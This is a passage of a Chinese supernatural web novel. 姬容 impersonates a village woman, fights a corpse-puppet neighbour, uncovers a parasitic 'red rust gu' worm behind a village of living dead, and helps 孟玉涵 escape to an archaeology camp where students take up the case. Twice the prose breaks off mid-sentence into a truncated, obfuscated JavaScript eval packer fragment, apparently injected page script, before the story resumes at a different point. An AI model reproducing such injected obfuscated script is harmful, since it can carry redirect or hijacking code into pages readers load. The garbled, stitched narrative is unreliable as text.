张翠没看出来差别,狐疑地打量片刻,不知道为什么割伤了口,这人身上怎么还有种穷开心的傻乐呵。 不过她也没有多在意“孟玉涵”,而是转过身带路:“跟上。” 姬容依言。 出来前,孟玉涵给她讲过待会儿要给她老公送饭,姬容以为是直接把做好的饭菜端进饭盒,再把饭送去就行了。 因此被张翠带到灶台前的那一刻,她懵了。 就连一贯轻松的声音,都难得地带上了不确定,姬容指了指自己,迟疑问道:“我亲自做饭?” 不是就说送饭吗? 张翠早已揭开蒸笼,不顾笼中蒸物滚烫的温度,徒手将包子、山芋抓进海瓷盘里,边隔着水汽瞥她:“不然呢,别人手上都有活,谁有功夫顾着你。” 祠堂也是祭祖和寻常村里办席的地方,因此后厨建得很大,除了她俩,还有十几个女人在油烟和水汽里忙碌,大多两眼无神,面色疲惫到麻木。 姬容环视一圈,虽然这些女人都一副没精打采的虚弱样子,却意外地都还是活的。 她沉吟片刻,便想通怎么回事。 如果现在炼制尸傀的方法跟她那时代没什么大变化的话,那能被炼成尸傀的,也就只有两种人了。 一种是死人,还有一种就是死气极重的活人。 这玩意儿用通俗好理解的话说就是活死人,用活的蛊虫来操控死人体内的蛊虫,算是巫术的一种,姬容能熟悉这个,也是因为巫蛊之术源远流长,几千年过去了,技术也没什么革新,跟老祖宗玩的还是一套。 寻常活人身上哪有那么多死气,这得是造了多少孽,害死了多少人,焦孟村的人会被活生生炼成尸傀,也算是一种报应。 不过现在看来,这些业果并没有牵涉到这些女人身上。 姬容拎起米缸的木盖,大米也灰蒙蒙的,她伸手进去抓了抓,沾了一手细细的香灰。 也难怪孟玉涵说自己吃大锅饭吃得想吐,恐怕这食堂里就没有正常的食材。 张翠还在满是怀疑地盯着她:“小孟,你在那东摸西摸地干什么?” “在想马上烧什么呢,”姬容随口道。 她根本不会烧饭,但反正也不是烧给人吃的,随便弄弄算了。 站在灶台前,姬容满脸严肃地回忆了一下那些年曾在手机上刷过的一人食制作教程和18块出租屋极简做饭教程,印象里,下厨似乎并不是什么困难的事情。 她自信满满地掀起锅盖。 半小时后,坐在门口择菜的一位大婶脸颊抽动,疑心自己是不是鼻子出问题了:“哪来的一股烂木头焦味儿?” “……” 没有人回答她,就连张翠那张已经不太像人的惨白脸上,都露出了一个混合着震惊情绪的复杂表情。 她看着姬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几个守门人无动于衷,只有一个年轻些的男人忽地抬起了头,看向姬容。 在良好的夜视能力下,姬容清楚地看见,男人的喉咙处像是迫不及待地滚了滚,饥饿贪婪的眼神与其说是投向饭盒,不如说是直冲着自己来的。 吃人的丈夫,诡异的邻居,还有自作孽不可活的老家众人。 也不知道孟玉涵是吃什么才能活到现在的。 逗狗挺好玩的,可惜姬容这会儿还有别的正事要做。 她朝焦英招了招手,等人一冲下来,她就不由分说地把饭盒塞到对方手里,语速飞快:“这是你今晚的晚饭,我过会儿还有别的事要忙,你吃完了就把饭盒放在这里,明天会有人来收,知道了吗?” 说罢,她也不等男人的反应,拔腿就走,对任务的敷衍之情溢于言表,张翠落在她后头几步,声音幽幽:“你就这么走了?” “不然呢?”姬容的声音听着十分纳闷,“总不能让我一口口地给它喂饭吧。” 她已经仁至义尽了好不好,都亲自下厨了,做到这个份上了,还要怎么样? 听着她的回话,张翠的脚步愈发地慢了下来。 地面上的阴影一层层铺开,直到落在后面的那个清瘦人影忽然完下了腰,四肢着地,头也倒转过来,如同一只人体蜘蛛,猛地向姬容冲了过去。 这么近的距离,这么突然的袭击,“张翠”自信无论姬容是出于什么目的,都躲不开它这一下攻击。 危险! 17. 红锈蛊 姬容确实没躲开,或者说,她根本就没有躲让的意思。 她仍然顶着孟玉涵的脸,白皙的圆脸,笑起来时有种格外的朴实感。人蛛扑上来时,都已经想象出了这个可恶的人类被自己撕碎的画面了,它挥舞着两只有力的前肢,没想到却是扑进了一层渺渺的黑雾。 年轻女人自原地坍成一团松散的黑色雾气,又在半空重新凝实成姬容原本的面貌。 趁“张翠”还没反应过来,她向下一个俯冲,姿态如同一只展翅的鹤,落下时屈膝卡住人蛛的脖子,将它死死压在地上。 “真是吓死我了!” 姬容表面一副担惊受怕的模样,手上却毫不留情地打断人蛛四肢,顺势换了个姿势,翻身坐在对方背上:“都怪你,本来我还想跟你好好说话来着的呢,突然来这么一下,害得我不得不出手反击。” 她想了半天该怎么形容这种行为,最终笃定地呵斥道:“你毁了我们之间友好交流的桥梁!” 人蛛惨叫一声,只觉得自己身上这人简直有病得厉害,忍不住骂道:“你是人吗?” 姬容满脸莫名:“我什么时候说过我是人?” 又不是长得像个人形,就能算人类的。 以貌取人是不对的。 这道理别人不懂,人蛛自己作为一个人模人样的怪物,还能不懂吗? “……” 这人,不是,这东西绝对有病。 常言道,在遇到真正的精神病时,再不正常的人都会迅速地发现自己身上的闪光点,然后回归正常。 打又打不过,人蛛隐忍地收起四肢的畸变,狰狞的一张脸也逐渐变回原本清秀的模样,姬容翘着腿打量它,忽然挑起眉头,试探性地喊道:“张翠?” 才恢复了一半的人脸下意识抬头,下一刻它这才意识到对方为什么要突然喊自己的名字,陡然变了脸色。 “还真是你,”姬容顿了一下,接着流露出感兴趣的神色,“原本的意识居然还在,有意思,你是被清醒着改造了吗?村里其它人也跟你一样吗?还是只有你一个人是特别的?” “是谁把你们炼成了这副怪物模样?目的又是什么呢?” 她俯下身,皎洁如清月的脸庞几乎要与张翠贴在一起,眉眼弯弯地笑问道:“拜托了,快点把你知道的都交代出来吧,赶到这穷山沟里帮人擦屁股已经很烦了,不要再给我增加工作量了,这样我勉强可以考虑给你个痛快。” 姬容语调轻快,黑不透光的眼睛里却毫无亲近之意,张翠打了个寒战,硬着头皮厉声反问道:“你又是谁?这都是焦孟村自己的业果导致的,与你无关,不管你是哪方邪祟,我劝你都最好不要多管闲事!” “业果?” 张翠头转了一百八十度看向身后,警惕地盯着她,就见少女不甚在意地捋了两把头发,随即粲然一笑,毫不客气道: “讲讲呗,我今天免费给你们当判官,也让我听听发生了什么,才会把整个村庄都反噬成了死人堆。” 这人脸皮怎么能厚成这样?! 威逼不成,张翠张开嘴,像是认了命,准备将事情老实交代出来了,但姬容正欲凑近,一条血红的长线就从张翠嘴里飞射出,直冲姬容面门。 “!” 姬容仰面躲开,同时伸手捏住飞来的红线,手感阴凉坚硬,被捏在手心后还一直扭个不停。 也正是趁着这个机会,张翠猛一个发力将她甩开,然后就立马爬起身,风一阵似地逃走。 月光穿透云层,照亮姬容的小半张脸,她没有追,而是低头打量手心的活物。 是蛊虫。 也是把这一村人变成尸傀的罪魁祸首。 估计再多的信息,张翠也给不出来了,虽然不知道为什么她能留有原本的神智,但她毕竟还是个受控于人的尸傀。 “……别扭的人类,”就像一边又留着孟玉涵的命,一边又瞒着不提醒她逃出焦孟村那样,明知道打不过姬容,还非得在逃走前挑衅一下。 人的心思永远都这么反复莫测,姬容琢磨不透,也就不费这个劲了。不管张翠自己是怎么纠结着要不要救这个村子,她的意愿并不在姬容的考虑范围。 从嘴里吐出的蛊虫只是子蛊,一只母蛊可以培育出千千万万的子蛊,根本不值钱。 姬容认得这种蛊虫,红绣蛊,它能操纵子蛊寄生者的神智,但红锈蛊最大的作用并不止步于此。 它还能改善被寄生者的体质。 旧时期巫觋身负占卜预测的职能,但凡人之躯受限于自然规律,驱役于万物,因此巫师们不得不另寻它法,来模糊自身的存在,从而趁机窥探阴阳一线间的天地法则。 红锈蛊就是用来干这个的,子蛊被植入身体后,被寄生者就会逐渐沦为行尸走肉,这时候再植入母蛊,寄生者就又能通过母蛊重新获得自身的操纵权了。 这就等于卡了个bug,看似灵肉分离,其实从始至终都是一个人,把红锈蛊当转换器而已。 改造完的巫师也是尸傀,却比焦孟村里的活死人们高级多了,它们更像是尸王那样的存在,巫觋在周朝地位很高,姬容记得光是国师,手底下就有二百红锈尸傀供他驱使。 但这种蛊虫能力虽然逆天,生存能力却很差,必须要用血肉作为培养基,一旦暴露在空气中,不过一刻钟就会僵直而死。 ……焦孟村一个与世封闭的小山村,怎么会出现这种古老恐怖的蛊虫? * 孟玉涵躺在漆黑的棺材里,大气都不敢喘一声。 凭心说,棺材里的空间其实不小,村里用来装尸体的棺材都是统一尺寸,装两个成年人都绰绰有余。因为成长期缺少营养,孟玉涵本就身材娇小,这个棺材甚至够她在里面再打一个滚。 但她这会儿心里又惊又怕。 姬容同自己说过的话,不断地在孟玉涵脑中回荡,这个古怪的家伙假扮成一具尸体,混进焦孟村,又同她说那些神神鬼鬼的话,什么活死人呀……尸傀呀……孟玉涵从来没听说过这些东西。 她咬紧了下唇,不安地将身子蜷缩起来。 外面响起些窸窸窣窣的声音,像是密密麻麻的铁甲虫在地上爬行,坚硬的足肢刮过水泥地,如同刮过本就绷紧到了极点的神经。 祠堂不允许女人过夜,孟玉涵这也是第一次违背村里的规矩。刮擦声逐渐蔓延到了棺材壁上,应该是虫子,又过了一会儿,棺材板像是被人挪开了一条缝,微冷的新鲜空气透入。 迅疾风声掠过,接着沉重的棺材板彻底被人推开。 祠堂里没有灯也没有窗户,一片黑布隆冬里,孟玉涵沉不住气,没忍住吱了声:“大师?” 姬容:“是我呢,你看不见?” 孟玉涵不好意思地“嗯”了一声:“太黑了。” 好吧,姬容低头扫视了眼被自己杀死的红锈蛊,猩红的长虫尸体遍布在地上,桌子上,以及棺材板上,远看红线一片,近看全屋消杀,或许看不见还是件好事。 她伸手,将孟玉涵从棺材里拉出来。 “我大概知道你们村子在搞什么鬼了,”姬容道。 这就是一整条以红锈蛊为核心的流水式工作线。 焦孟村从外面买来尸体,表面上看是用来结阴亲,实际却被用来培养红锈蛊,阴亲婚书上都是废话,只有剪下的头发和血肉是有用的——这就像给狼狗闻的骨头,等蛊虫熟悉婚书上的血肉气息后,它们晚上孵化出来后,就知道下一步自己该钻进哪些身体里繁衍生息。 而等子蛊彻底成熟后,就会被植入村民身体里进行改造,姬容尚还没搞清楚把这些人搞成尸傀的目的是什么,但不要紧,知道红锈蛊,离弄清楚整件事也不远了。 孟玉涵脚踩在地上,像是踩到了什么脆脆的硬物,还没等她疑心这个,就听见姬容一转话锋:“有两个消息可以告诉你,一个好消息一个坏消息,你先听哪个。” “先……好消息吧,”她一怔,随即苦笑,“你前面说,我们村就剩我一个活人,主要事情都坏成这样了,我也想不到还能有什么算得上好消息了。” 姬容:“其实我要说的好消息,也跟这个有点关系。” “?” “意思是,”姬容镇定地抬起下巴,“我刚发现你们村里还有其它活人,活得还行吧,除了你之外,别的人应该都没有性命之虞。” 什么叫除了她之外都没有性命之虞? 孟玉涵有种很不好的预感:“是不是你顶着我身份出去的时候,出了什么事?” 姬容颔首,然后用最简单的语言对己方战绩进行了总结:“打了你邻居,又给你老公投了点毒。” 倘若张翠还在这里,一定是会为了姬容的这番话感动的。 人贵在有自知之明,她居然还知道自己煮出来的那坨东西等同于投毒,可喜可贺,可圈可点。 “……” “坏消息就是你最好赶紧跑吧,”顶着别人的脸惹麻烦,姬容难得心虚,“走吧,我送你出村。” 她扶着孟玉涵的肩,将她带出伸手不见五指的屋内,外面有灯,有月亮,好歹恢复了一点可见度。 祠堂的正门处有已经沦为尸傀的村民把手,其它地方也各有人再看守。 尸傀不用睡觉,可以整夜整夜地巡查,大概是张翠告状的原因,孟玉涵叹了口气,说:“看守的人比平时多了一倍。” 姬容:“没事,我有办法让它们看不见你,你认得出村的路怎么走吧?” 事已至此,孟玉涵只得说认识。 萦绕在她们周围的黑雾里分出一团,特地保护在孟玉涵身边,走过门口时,守卫的尸傀果然没有发现她们,依然无知无觉,咧出月牙似的笑脸,好像是戏台上嬉笑怒骂皆由不得自己的偶人。 孟玉涵说不清心里是什么滋味,只好撇过脸,不去看这些熟悉的面孔,哪怕这些人里有她的父亲,兄弟,丈 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孟玉涵是村长的儿媳,她家就是村长家。 这次果然指向了南边,直对着阴气最浓郁的那块。 涉险的事情就没必要拖着别人一起了,姬容按照指引,暗暗记下焦孟村的布局。 等将人送到村门口后,她这才懒洋洋地说:“行了,就在这分开吧。顺便给你个提议,要是觉得下山太远的话,可以沿着盘山公路走,运气好的话,说不定半路就能遇到超级无敌热心负责的好心人呢。” 这话不是唬人,而是王姬墓正好就在沿途。 虽然这会儿已经是大半夜了,但得益于某些盗墓贼给出的教训,现在王姬墓一天24小时都离不开监巡的人,孟玉涵跑过去,等于一步到位地把自己送货上门。 孟玉涵不知道她这番话背后有着多么险恶的用心,无知无觉地哎了一声,这才看看天色,又看看外边,山林被笼罩在夜色里,峻黑如暂眠的野兽。 她有些害怕,但还是鼓起勇气问道:“你真的不跟我一起走吗?” 姬容知道她在担心什么:“你不会遇到危险的。” 有黑雾当保镖,寻常的野兽伤害不到她。 明明只是一句平淡毫无根据的保证,却瞬间就让孟玉涵安定了下来。 她到现在都不知道面前的少女到底是什么来历,但每当对方开口,都仿佛有种奇异的魔力,让别人不由自主地相信她说的每句话。 因为姬容没有说谎的必要。 孟玉涵轻轻道:“那我走了。” 姬容朝她挥挥手,意思是走好。 天上的星星亮晶晶,一闪一闪如眨动的眼睛,孟玉涵背着不重的行囊,她没有带手电筒,而是借着一缕月光照亮前路,四野里有风声,有虫鸣,还有不知哪来的水流声,汩汩地流过大地的脉窍。 刚出发时心情忐忑,等平平安安地走出一段路后,就变得兴奋好奇,而这好奇的心情也没有维持很久,走着走着,又变得迷茫和无聊,最后统统化成一个字,累。 走到地老天荒,走到天涯海角。 孟玉涵不知道自己走了多远,玉米棒啃了两根,就因为口渴而啃不下去了。 等天色露出鱼肚白时,她终于看见了一片营地,隐隐约约有人头在攒动。 孟玉涵眼睛都睁大了。 这荒山野岭的,居然真的有人! 一大早的,考古队的营地大门就被人敲响了,周步虚用一次性洗脸巾擦脸的功夫,自己的房门就被人直接推开了。 用不着回头,就知道是谁这么不客气。 镜子里倒映出一张冰冷的漂亮面容,穿戴整齐,背后负剑,左眼下有一点小痣,却丝毫不显得柔情弱质。 美人如花隔云端,她进门的功夫,房间的温度仿佛都下降了两三度。 “老游啊,”周步虚打了个寒战,随手把洗脸巾丢回脸盆里,幽幽道,“虽说新世纪男女大防已经没有那么严苛了,但你在进入男同学的房间前,能不能先……” 游江南打断了他没完没了的废话:“营地来了个女孩,自称是从岐山里一个叫焦孟村的村庄逃出来的,来我们营地求助。” 周步虚诧异地挠了挠耳朵:“逃?她是被拐卖过去的?” “不是,”游江南静了一瞬,似乎也觉得很不可思议,“她说她的村庄已经全是活死人了,只有她逃了出来,除此之外,还有一个大师留在焦孟村里勉力支撑,就是对方把她送出来的。” “她希望我们能帮报警,或者找懂这个的其它大师,回去救人。” “啊?!!” 周步虚听得满脸梦幻,怀疑自己还没睡醒。 ……任是谁一觉醒来就被动触发同所在地的丧尸围城、不是,丧尸围村副本,都会觉得要么自己脑子瓦特了,要么世界出bug了好不好? 18. 焦孟村 早六点,天刚蒙蒙亮,周步虚还没吃早饭,就踩着梦游似的步伐出门去了。 他会出现在这里,倒也没什么别的原因,单纯是其它地方用不着他。姬容从市里的医院蒸发式消失,张京秋正为了这事头疼呢,还要跟玄学办的人沟通解释,根本顾不上别的事,至于另一边,林观尘还在老家计划“越狱”大计,卜琪终于查到了鬼市那边的线索,准备亲自走一趟。 前两天刚把人家的鬼打了,短时间内周步虚是没那胆子再去鬼市送人头了,权衡再三,他决定回到一切的起点,也就是岐山的那座王姬墓,亲自下实地看看,何况这里还有个游江南可以帮忙照应。 至此,同样来自燕大的六位小同学,从一队拆成两队,再到三队,最终还是走向了四队。 离彻底散伙又近了一步呢。 周步虚喝了口豆浆,面无表情地想道。 ……还是毁灭吧。 前段时间大雨连绵,为了避免二次滑坡,考古队就把营地扎在了山腰较高处的一处缓坡,走在路上一抬头就能看见。 孟玉涵太长时间没喝水,再加上赶了一晚上路,找过来时已经明显的脱水症状了。 山路本就难走,何况还是在缺水少粮,独自走夜路的情况下,大致了解焦孟村的位置后,连考古队的队员都被这个姑娘连夜赶路的决心和毅力惊住了。 周步虚跟在游江南身后过来时,一个考古队的测绘员姐姐正端着从临时饭堂打来的早饭,陪孟玉涵细声细语地说话,顺便打听她一路找来的经历。 见两人进来,她起身招招手,示意他们过来,随后同孟玉涵介绍道:“这是在我们队里跟进的两位非自然科学系同学,左边的小姐姐叫游江南,右边的小哥哥叫周步虚。” 游江南高冷地点了个头,就当打过招呼了,周步虚同孟玉涵握了个手,从外表看,孟玉涵的年纪还没他俩大,他没忍住问了一句:“孟小姐,你今年多大啊?” “不,不用叫我孟小姐,叫我玉涵就好,”孟玉涵脸都涨红了,连忙摆手,说话的声音也有些中气不足,“我今年虚岁十九……” 这么小?周步虚诧异。 但赵姐没有留给他们过多寒暄的时间,而是单刀直入道:“焦孟村的事情不归我们管,具体情况你们可以跟玉涵私下聊聊,山里信号不好,玉涵的身体状况还要去市医院做个检查,你们最多只能再聊半个小时就要出发了,注意抓紧时间。” 几人都表示理解,赵姐掀起帘子就先出去了,周步虚拆了两只折叠椅,头一个是给游江南拆的,她也没客气,默不作声地就坐下了。 等所有人都安置好,摆好一副坦诚交代的姿态后,周步虚才将手叉在膝盖上,开始了问话。 “你说你是在一个大师的帮助下,从焦孟村逃出来的,”他琢磨着,“还有村民们全部变成了活死人,这点也是大师告诉你的吗?” 孟玉涵低低地“嗯”了一声:“她说那是尸傀。” 尸傀? 就算是对玄门的人来说,也不算是常见的东西了。 周步虚和游江南对视一眼,神情也正色起来。 来之前赵姐就已经跟孟玉涵讲过什么是非自然科学了,有的东西,信则灵,不信则不灵,为了避免造成无谓的恐慌,官方有一套专门的词库,而这个词库的正式统称,就是非自然科学。 孟玉涵不懂这些门道,虽然村里有个号称能通天晓地的师公,但她从没见识过师公施展自己的本领,便下意识地以为所有懂“这行”的人,都跟救她出焦孟村的那个大师一样有本事。 三个臭皮匠还能顶个诸葛亮呢,三个姬容加起来,区区尸傀,岂不是信手拈来? 孟玉涵突然就有了莫大的信心。 周步虚接着又详细问了些关于大师的事,别的不说,Z城现在的玄门中人应该都聚集在市里,等待着鱼龙会的开始,深山老林的突然冒出这么个“大师”,很难不让人阴谋论。 越听,他的表情越是诡异,是一种混合着“不敢相信”和“但事实摆在眼前不得不相信”的复杂深沉,游江南瞧着他,冷不防问:“你便秘?” 孟玉涵:“?” “……别闹,”周步虚扶额,“我只是想到了一个难以言喻的可能性。” 没人能跟他解释为什么姬容会从市里瞬移到焦孟村,就像同样没有人能跟他解释,为什么这个前几天还差点把盗墓贼屠了个干干净净的漂亮怪物,这会儿又摇身一变,变成了另一个人的救命恩人。 寻常诡物哪有这么强的主观能动性?! 周步虚直觉那几个盗墓贼是真的从王姬墓里放出不得了的东西了,这姬容比起来,焦孟村的尸傀都只能算因果报应的小儿科。 他承认自己是有点“惰性”在身上的,遇到事的第一反应就是找队长张京秋汇报,然后询问对方下面该怎么做。 然后手机屏幕解锁后的无信号标志,又把他最后这点指望给毁灭干净了。 周步虚:“……靠北啊,21世纪为什么还有互联网没覆盖到的地方吗?” 不是说好这是互联网的时代吗? 见他短短几秒内,表情变换得如同断了路的电脑显示屏,孟玉涵脸上迷茫,谨慎地保持了沉默,倒是游江南眼睛眯起来,很快就猜到了对方情绪变化的原因。 ——那个自称姬容的墓中诡物。 岐山信号不仅是开玩笑说的山里信号差,更是因为王姬墓自身带有的生物磁场跟建在这里的信号基站相冲撞,最后两相抵消。周步虚跑来山里,不仅是因为外面暂时没有用得上他的地方,也是为了给游江南手动送情报。 有关姬容的信息在游江南脑中过了一圈,其实也没多少,跟她自身密切相关的事情是半点也没问出来,对方狡猾地用胡言乱语敷衍掉了所有明里暗里的打探,最后只透露出一个信息: 我,山神,打点人来。 讲再多玄里玄乎的空话,也不妨碍事实就是王姬墓里跑出了不该跑出的东西,然后这个还不知道是不是山神但大概率要为此负责的诡物,正在试图把自己的事情外包给人类自己。 ……等等。 游江南若有所思地眯起眼睛,她好像猜到为什么姬容会出现在离市中心千里之外的焦孟村了。 一个世代买人鬻尸、最终导致自食恶果的山村,与一只重见天日不久的诡物听起来当然没什么关系,但突然在这个关节点上出事,真的会跟岐山、跟王姬墓毫无关系吗? 就在周步虚快蹭上考古队的车,准备跟着一起滚回市里时,一只白皙的爪子按在了他的肩膀上。 “你想走?”游江南目光深沉。 周步虚心头燃起不好的苗头:“你不会是想去焦孟村看看吧?这里就我俩,我还没有什么战斗力,而对面是一村的活死人,不是一个,也不是一车,是一村!姐姐,你清醒点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只见道袍青年在包里掏出一只罗盘,金光之闪闪,引得游江南不住的侧目。金罗盘绕着苹果打转了几圈,周步虚手持法器,口中念念有词地报出一长串,不明显的光芒在卦象上一闪而过,随即罗盘最中央的指针开始缓慢而坚定地转动起来。 南方离火,逢凶化吉。 指针一动不动,坚定地指向这个方向。 周步虚并立马没有将用完的罗盘收起,依然捧在手上,他偏过脸,同游江南道:“跟上。” 游江南无声地将背上的剑又绑得紧了些。 正当两人向山进发时,一场不小的骚动也在Z城里哗然发生。 鱼龙会居然提前一天开始了。 第一轮就是分组赛,没有任何事先的通知,所有经过报名筛选后确认参赛的选手,都在这一天早上八点的时候,收到了组委会的官方短信。 自由组队,形式不限,成绩累加共享,单组人数要求在1-8人间——这是大家都知道的事情。 令参赛选手真正意外的不是提前开始,也不是预告的缺席,而是今年的比赛形式居然一改以往统一固定出题,评委再综合打分的情形,变成了“三题”模式——分散出题,自主选题,限时做题。 考试自短信发送起共计7天,青年组开放了十二道题的范围,其中两个熟悉的地点赫然在列。 【地点:焦孟村】 【题面:血脉是联系,家族是纽带,故土是羁绊,乡愁是他的奥德赛,逃离又是谁的叙事诗?*】 【考题:试调查村民集体夜游的原因。】 【地点:鬼集市】 【题面:秋风清,秋月明,落叶聚还散,寒鸦栖复惊,看货不问价,照货不照人。*】 【考题:试获取一份鬼市凭证。】